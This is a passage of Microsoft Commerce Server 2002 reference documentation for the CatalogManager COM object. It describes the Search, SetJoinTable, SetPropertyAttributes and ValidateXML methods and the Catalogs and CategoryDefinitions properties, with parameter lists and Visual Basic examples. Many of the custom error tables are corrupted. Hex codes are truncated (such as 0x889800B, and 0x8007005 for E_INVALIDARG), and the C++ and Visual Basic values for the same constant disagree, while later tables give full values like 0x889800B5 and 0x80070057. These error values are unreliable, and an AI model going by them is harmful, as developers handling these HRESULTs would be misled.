  Optional strPropertiesToReturn As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional varLanguage As Variant,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

strSQLClause [C++]
[in, optional] A VARIANT that contains the SQL search query.
strSQLClause [Visual Basic]
A Variant that contains the SQL search query.
strFTSPhrase [C++]
[in, optional] A VARIANT that contains the free-text search phrase.
strFTSPhrase [Visual Basic]
A Variant that contains the free-text search phrase.
strCatalogsToSearch [C++]
[in, optional] A VARIANT that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
strCatalogsToSearch [Visual Basic]
A Variant that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn [C++]
[in, optional] A VARIANT that contains the properties to return as a comma-separated list.
strPropertiesToReturn [Visual Basic]
A Variant that contains the properties to return as a comma-separated list.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset. To search. by rank, you must pass the FREETEXTSEARCH_RANK key to the strPropertyToSortOn parameter.
strPropertyToSortOn [Visual Basic]

A Variant that contains the property on which to sort. This must be a property in the returned recordset. To search by rank, you must pass the FREETEXTSEARCH_RANK key to the strPropertyToSortOn parameter.

fSortAscending [C++]
[in, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record to retrieve. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
varLanguage [C++]
[in, optional] A VARIANT that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
varLanguage [Visual Basic]
A Variant that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records matching the query.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of records matching the query.
ppRSResult [C++]
[out, retval] A pointer to a _Recordset object used to return the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object containing the search results.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C++] 0x8007005 [Visual Basic] &H8007007 | One or more arguments are invalid.
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011 [Visual Basic] &H889801D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011 [Visual Basic] &H889801E | The Properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | The search Failed. The recordset is now set to NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C++] 0x8898000 [Visual Basic] &H889800F | When performing a query against multiple catalogs, you should specify the actual properties to return.

Remarks

[C++] The plTotalRecordsInQuery and ppRSResult parameters contain valid data only if the method completes successfully. The error will also be written to the windows event log.

[Visual Basic] The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully. The error will also be written to the windows event log.

The Search method is used to perform arbitrary lexical comparisons on both words and phrases, and product, product-variant, and category data in one or more catalogs. It combines the functionality of the Query method and the FreeTextSearch method. It also adds the varLanguage parameter, which allows you to specify the language of the search. The Category.Search method is a related method specifically for searching within a category.

The strSQLClause and strFTSPhrase parameters are both optional. If you only supply the strSQLClause parameter, this method acts like the Query method. If you only supply the strFTSPhrase parameter, this method acts like the FreeTextSearch method. If you supply both parameters, then only data that satisfies both search conditions will be returned. This allows you to construct sophisticated and very specific searches.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

If the varLanguage parameter is omitted the default value will depend on the number of catalogs specified in the strCatalogsToSearch parameter. If a single catalog is specified, the results will be returned in the default language of the catalog. If multiple catalogs are specified, the results will be returned in the default system language of the Web server. If a catalog does not support the selected language only language insensitive properties will be returned for that catalog.

The programming rules regarding the strPropertiesToReturn parameter vary depending if a single catalog name is passed in the strCatalogsToSearch parameter, or if multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter. When specifying properties to return , and when specifying the strPropertyToSortOn paramenter, enclose the field names in square brackets to avoid unintentional side effects in the SQL query created by this method. For example, use "[Property1], [Property2]" to specify two properties.

While doing a free-text search you can also specify FREETEXTSEARCH_RANK as a property to return and property to sort on. FREETEXTSEARCH_RANK contains a relevance ranking value for each row in the recordset.The FREETEXTSEARCH_RANK specifies the relative closeness of this row to the value passed in strPhrase parameter. You can specify the FREETEXTSEARCH_RANK in the PropertiestoReturn parameter and also rank results by specifying it in the PropertiesToSortOn parameter. In this method, this parameter can be used only if the srtFTSPhrase parameter is specified.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'plTotalRecordsInQuery is an existing Long.
'Examine it after the method returns to see if
'there are more records to get.
' note use of N in next line of code
Set rsQueryResults = myCatalogManager.Search("[Productid]=N'blue suede'", "slightly scuffed", "ShoeCatalog", cscProductClass,"Price, SKU, Size", "SKU", TRUE, 1, 25, "ENU", plTotalRecordsInQuery)

'The strFTSPhrase parameter supports and/or semantics.
'When multiple terms are supplied OR is implied.
Set rsQueryResults = myCatalogManager.Search(,"sneaker loafer")
Set rsQueryResults = myCatalogManager.Search(,"sneakers and loafer")

'AND takes precedence over OR. The following searches for
'(sneaker and hightop) or loafer.
Set rsQueryResults = myCatalogManager.Search(,"sneaker and hightop or loafer")
Set rsQueryResults = myCatalogManager.Search(,"sneakers loafer")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

CatalogManager.Query

CatalogManager.FreeTextSearch

Category.Search


ICatalogManager3::SetDefinitionProperties Method [C++]

CatalogManager.SetDefinitionProperties Method [Visual Basic]

Use this method to change the properties of a category or product definition.

Definition

[C++]
HRESULT ICatalogManager3::SetDefinitionProperties(
  BSTR strDefinitionName,
  Recordset* pRSProperties,
);
[Visual Basic]
Sub SetDefinitionProperties(
  strDefinitionName As _String,
  pRSNewState As _Recordset,
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition.
strDefinitionName [Visual Basic]
A String that contains the name of the definition.
pRSProperties [C++]
[in] A reference to a _Recordset that specifies the new properties.
pRSProperties [Visual Basic]
A _Recordset that specifies the new properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The definition you specified does not exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.SetDefinitionProperties "Shirt",pRSProperties

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProperty

[Visual Basic] CatalogManager.CreateProperty


ICatalogManager3::SetJoinTable Method [C++]

CatalogManager.SetJoinTable Method [Visual Basic]

Use this method to join an external table to a table in the Product Catalog System.

For a list of the methods that support the JoinTable feature, see Code to Join an External Table to Product Recordsets.

Definition

[C++]
HRESULT ICatalogManager3::SetJoinTable(
  BSTR strTargetTableName,
  BSTR strSourceJoinKey,
  BSTR strTargetJoinKey,
  CatalogJoinTypeEnum eJoinType
);
[Visual Basic]
Sub SetJoinTable(
  strTargetTableName As String,
  strSourceJoinKey As String,
  strTargetJoinKey As String,
  eJoinType As CatalogJoinTypeEnum
)

Parameters

strTargetTableName [C++]
[in] A BSTR that contains the name of the external table or view with which to join.
strTargetTableName [Visual Basic]
A String that contains the name of the external table or view with which to join.
strSourceJoinKey [C++]
[in] A BSTR that contains the name of the product property to join on.
strSourceJoinKey [Visual Basic]
A String that contains the name of the product property to join on.
strTargetJoinKey [C++]
[in] A BSTR that contains the name of the column in the external table or view to join against.
strTargetJoinKey [Visual Basic]
A String that contains the name of the column in the external table or view to join against.
eJoinType [C++]
[in] A CatalogJoinTypeEnum enumeration that specifies the join type. See the Remarks section for valid values.
eJoinType [Visual Basic]
A CatalogJoinTypeEnum enumeration that specifies the join type. See the Remarks section for valid values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_JOIN_TYPE | [C++] 0x889800C [Visual Basic] &H8898008 | The specified join type is either invalid or not supported.
E_CAT_INVALID_TARGET_TABLE | [C++] 0x889800C [Visual Basic] &H8898009 | The target (join) table that was specified could not be found in the database.
E_CAT_INVALID_SOURCE_JOIN_KEY | [C++] 0x889800C [Visual Basic] &H889800A | The specified source join-key is invalid.
E_CAT_INVALID_TARGET_JOIN_KEY | [C++] 0x889800C [Visual Basic] &H889800B | The specified target join-key is invalid.

Remarks

After you have called the SetJoinTable method, any method that returns product data will join the normal output of the method with the external table. That is, the join will occur after any sorting or filtering specified in the method call is completed. This means that you cannot sort or filter on columns in the external table. For methods that accept the PropertiesToReturn parameter, you can specify the properties to return from the external table. If none are specified in these methods, all columns will be returned.

Join table information does not persist beyond the life of the CatalogManager object.

The following table shows the values in the CatalogJoinTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
CMS_INNER_JOIN | 0 | Returns only rows where the keys are equal.
CMS_OUTER_JOIN_LEFT | 1 | Returns all rows in the Product Catalog System and matching rows in the target table.
CMS_OUTER_JOIN_RIGHT | 2 | Returns matching rows in the Product Catalog System and all rows in the target table.
CMS_OUTER_JOIN_FULL | 3 | Returns all rows in both tables.
CMS_NO_JOIN | -1 | Turns off the join with the external table.

When you use the ProductID, VariantID, or other indexed column in the CatalogProducts table as a join key, it is recommended that you index the join key column in the external joined table for better performance.

If you pass a parameter containing spaces to the SetJoinTable method, that parameter must be enclosed by square brackets([]).

For more information about the methods to which the JoinTable feature applies, see Code to Join an External Table to Product Recordsets.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.SetJoinTable ("InventoryTable", "ProductID", "SKU",
                                                CMS_OUTER_JOIN_LEFT)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::SetPropertyAttributes Method [C++]

CatalogManager.SetPropertyAttributes Method [Visual Basic]

Use this method to change the value of attributes of properties.

Definition

[C++]
HRESULT ICatalogManager3::SetPropertyAttributes(
  _Recordset* pRSNewState,
  VARIANT fForceUpdate
);
[Visual Basic]
Sub SetPropertyAttributes(
  pRSNewState As Recordset,
  Optional fForceUpdate As Variant
)

Parameters

pRSNewState [C++]
[in] A reference to a _Recordset object that specifies the new attribute values.
pRSNewState [Visual Basic]
A Recordset object that specifies the new attribute values.
fForceUpdate [C++]
[in, optional] A VARIANT that specifies whether to force an update.
fForceUpdate [Visual Basic]
A Variant that specifies whether to force an update.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_INVALIDARG | [C++] 0x8007005 [Visual Basic] &H8007007 | One or more arguments are invalid.
E_CAT_INVALID_RECORDSET | [C++] 0x889800A [Visual Basic] &H889800E | The recordset you specified is either invalid or empty.
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_CANNOTCHANGE_DATATYPE | [C++] 0x8898010 [Visual Basic] &H889801E | The datatype of this property cannot be changed.
E_CAT_INVALID_LANG_ATTRIBUTE | [C++] 0x889800F [Visual Basic] &H8898002 | The Languagesensitive attribute of this property cannot be changed because this property is being used in one or more catalogs.
E_CAT_INVALID_ISFREETEXTSEARCHABLE_ATTRIBUTE | [C++] 0x8898003 [Visual Basic] &H889800A | The attribute IsFreeTextSearchable can be set to only String, FilePath, and Enumeration datatypes.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x8898004 [Visual Basic] &H8898000 | The length specified for this property does not lie between 1 and 4000.
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_INVALID_PROPERTY_LENGTH | [C++] 0x8898005 [Visual Basic] &H8898007 | The property you specified is being used as a ProductID or VariantID. You cannot decrease the maximum length of this property or change its data type.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Use a Recordset object returned from either the GetPropertyAttributes method or the CreateProperty method as the pRSNewState parameter so that its time stamp can be compared with the time stamp of the existing property for error detection. You can change all attributes for a property except its data type and language-sensitive attribute. The only exception is that you can change a String data type to a Text data type.

You cannot change the LanguageSensitive attribute of a property. However, you can convert non-multilingual properties to multilingual properties by using the Commerce Server 2002 upgrade tool, located in /Program Files/Microsoft Commerce Server 2002/Upgrade/CS2002Upgrade.exe.

Property attribute names, and therefore the strAttrName parameter, are limited to a maximum length of 36 characters, and cannot contain any of the following characters:

  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

Attribute values of type String are limited to a length of 4000 characters.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'The following example changes the datatype of MyProperty to Text.
'The existing DataType attribute of MyProperty must equal cscString.

Set Rs = oCatalogManager.GetPropertyAttributes(“MyProperty”)
Rs(“DataType”) = cscText
oCatalogManager.SetPropertyAttributes rs

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProperty

[Visual Basic] CatalogManager.CreateProperty

[C++] ICatalogManager3::GetPropertyAttributes

[Visual Basic] CatalogManager.GetPropertyAttributes


ICatalogManager3::ValidateXML Method [C++]

CatalogManager.ValidateXML [Visual Basic]

Use this method to validate an XML-formatted file without actually importing it into the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::ValidateXML(
  BSTR strXMLFilePath
  _Recordset** ppRsErrors
);
[Visual Basic]
Function ValidateXML(
  strXMLFilePath As String,
) As Recordset

Parameters

strXMLFilePath [C++]
[in] A BSTR that contains the path of the XML file.
strXMLFilePath [Visual Basic]
A String that contains the path of the XML file.
ppRsErrors [C++]
[out retval] The address of a pointer to a _Recordset that contains, on output, the first 100 errors found.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid.

Remarks

[C++]

If the XML file is valid this method will return S_OK and the ppRsErrors parameter returned by this method will be NULL. If the file contains errors, the method returns S_FALSE. The ppRsErrors parameter returned by this method contains valid error data only if the method completes successfully with a value of S_FALSE and there are errors to report.

The recordset returned by the ppRsErrors parameter has a single field, Errors, and one row for each error. This method will return a maximum of 100 errors.

[Visual Basic]

If the XML file is valid this method sets the Number property of the global Err object to S_OK, and the ppRsErrors parameter returned by this method will contain Nothing. If the method sets that value to S_FALSE the file contains errors. The returned Recordset contains valid error data only if the method completes successfully with a value of S_FALSE and there are errors to report.

The returned Recordset has a single field, Errors, and one row for each error. This method will return a maximum of 100 errors.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set RsErrors = oCatalogManager.ValidateXML ("C:\SampleFile.xml")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3 Properties [C++]

CatalogManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Catalogs | _Recordset | Returns a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | _Recordset | Returns a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | _Recordset | This property is obsolete.
ProductDefinitions | _Recordset | Returns a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | _Recordset | Returns a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.
[Visual Basic]
Property | Type | Description
Catalogs | _Recordset | Returns a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | _Recordset | Returns a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | _Recordset | This property is obsolete.
ProductDefinitions | _Recordset | Returns a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | _Recordset | Returns a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.


ICatalogManager3::get_Catalogs Property [C++]

CatalogManager.Catalogs Property [Visual Basic]

The Catalogs property is a read-only recordset that describes all the catalogs in the Product Catalog System. The returned recordset includes the properties of each catalog.

Definition

[C++]
HRESULT ICatalogManager3::get_Catalogs(
  BSTR strSearchPhrase,
  VARIANT lStartingRecord,
  VARIANT lNumRecords,
  BSTR strLanguage,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** Catalogs
);
[Visual Basic]
Property Catalogs(
  Optional strSearchPhrase As String,
  Optional lStartingRecord As Variant,
  Optional lNumRecords As Variant,
  Optional strLanguage As String,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

strSearchPhrase [C++]
[in, optional] A BSTR that contains the search phrase.
strSearchPhrase [Visual Basic]
A String that contains the search phrase.
lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record. A value of one (1) indicates the first record.
lStartingRecord [Visual Basic]
A Variant that contains the starting record. A value of one (1) indicates the first record.
lNumRecords [C++]
[in, optional] A VARIANT that contains the number of records requested.
lNumRecords [Visual Basic]
A Variant that contains the number of records requested.
strLanguage [C++]
[in, optional] A BSTR that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLanguage [Visual Basic]
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
plTotalRecordsInQuery [C++]
[out, optional] A pointer to a VARIANT used to return the total number of catalogs that match the search phrase.
plTotalRecordsInQuery [Visual Basic]
A Variant used to return the total number of catalogs that match the search phrase.
Catalogs [C++]
[out, retval] A pointer to a _Recordset object used to return the catalogs.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant Value Description
E_CAT_CATMGR_NOT_INITIALIZED

[C++] 0x889800B5

[Visual Basic] &H889800B5

 The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER

[C++] 0x889800B7

[Visual Basic] &H889800B7

The recordset pointer that you specified is invalid.
E_INVALIDARG

[C++] 0x80070057

[Visual Basic] &H80070057

One or more arguments are invalid.
E_CAT_INVALID_SEARCH_CLAUSE

[C++] 0x8898011C

[Visual Basic] &H8898011C

The search condition that you specified is invalid for one of the following reasons
  1. It contains -- or /* which should not be used outside of property names and property values T
  2. he parenthesis in the search condition do not match in number or alignment

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Catalogs parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The recordset returned by this property is valid only if it is accessed successfully.

The following table contains the fields in the returned recordset.

Field Name | Data Type | Description
CatalogName | String 128 characters | None
Locale | Integer | None
StartDate | DateTime | None
EndDate | DateTime | None
VariantID | String 128 characters | The name of the property that uniquely identifies a product variant.
ProductID | String 128 characters | The name of the property that uniquely identifies a product.
Currency | String 128 characters | None
WeightMeasure | String 128 characters | None
TimeStamp | timestamp | None
CatalogID | Integer | The number that uniquely identifies a catalog.
CustomCatalog | Bit | Reserved for future use; this is always set to 0.
FreeTextIndexCreated | DateTime | None
ProductTableUpdated | DateTime | None
FullTextCatalog | String 128 characters | The SQL full-text catalog associated with this catalog.
DefaultLanguage | String 10 characters | The default language of the catalog.
ReportingLanguage | String 10 characters | The reporting language for this catalog.
IsVirtualCatalog | Boolean | A flag indicating whether this is a virtual catalog.
VirtualCatalogStatus | SmallInt | 0: Needs to be rebuilt 1: Catalog being rebuilt 2: An error occurred during rebuild 3: In process of rebuilding 4: In process of being materialized 5: Because you made changes to the base catalog during the rebuild, this catalog is now dirty
CatalogFields | Integer | 0: The Virtual Catalog is built as a view 1: The Virtual Catalog is materialized.

The recordset will contain a column named DisplayName which will contain the display names of the catalogs in the language specified by strLanguage parameter. If a catalog does not have a displayname in this language then NULL will be returned for that catalog

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCatalog

[Visual Basic] CatalogManager.CreateCatalog

[C++] ICatalogManager3::DeleteCatalog

[Visual Basic] CatalogManager.DeleteCatalog


ICatalogManager3::get_CategoryDefinitions Property [C++]

CatalogManager.CategoryDefinitions Property [Visual Basic]

The CategoryDefinitions property is a read-only recordset that contains the names of all the category definitions in the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::get_CategoryDefinitions(
  _Recordset** CategoryDefinitions
);
[Visual Basic]
Property CategoryDefinitions() As _Recordset

Parameters

CategoryDefinitions [C++]
[out, retval] A pointer to a _Recordset object used to return category definitions.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid

Remarks

[C++] The CategoryDefinitions parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The recordset returned by this property is valid only if it is accessed successfully.

The returned recordset will contain a single field called DefinitionName and one row for each category definition in the Product Catalog System. This field is a 128 character String.

If no category definitions are currently in the Product Catalog System, then the EOF property of the returned recordset will be set to VARIANT_TRUE.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateCategoryDefinition

[Visual Basic] CatalogManager.CreateCategoryDefinition

[C++] ICatalogManager3::DeleteDefinition

[Visual Basic] CatalogManager.DeleteDefinition


ICatalogManager3::get_CustomCatalogs Property [C++]

CatalogManager.CustomCatalogs Property [Visual Basic]

The CustomCatalogs property is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::get_ProductDefinitions Property [C++]

CatalogManager.ProductDefinitions Property [Visual Basic]

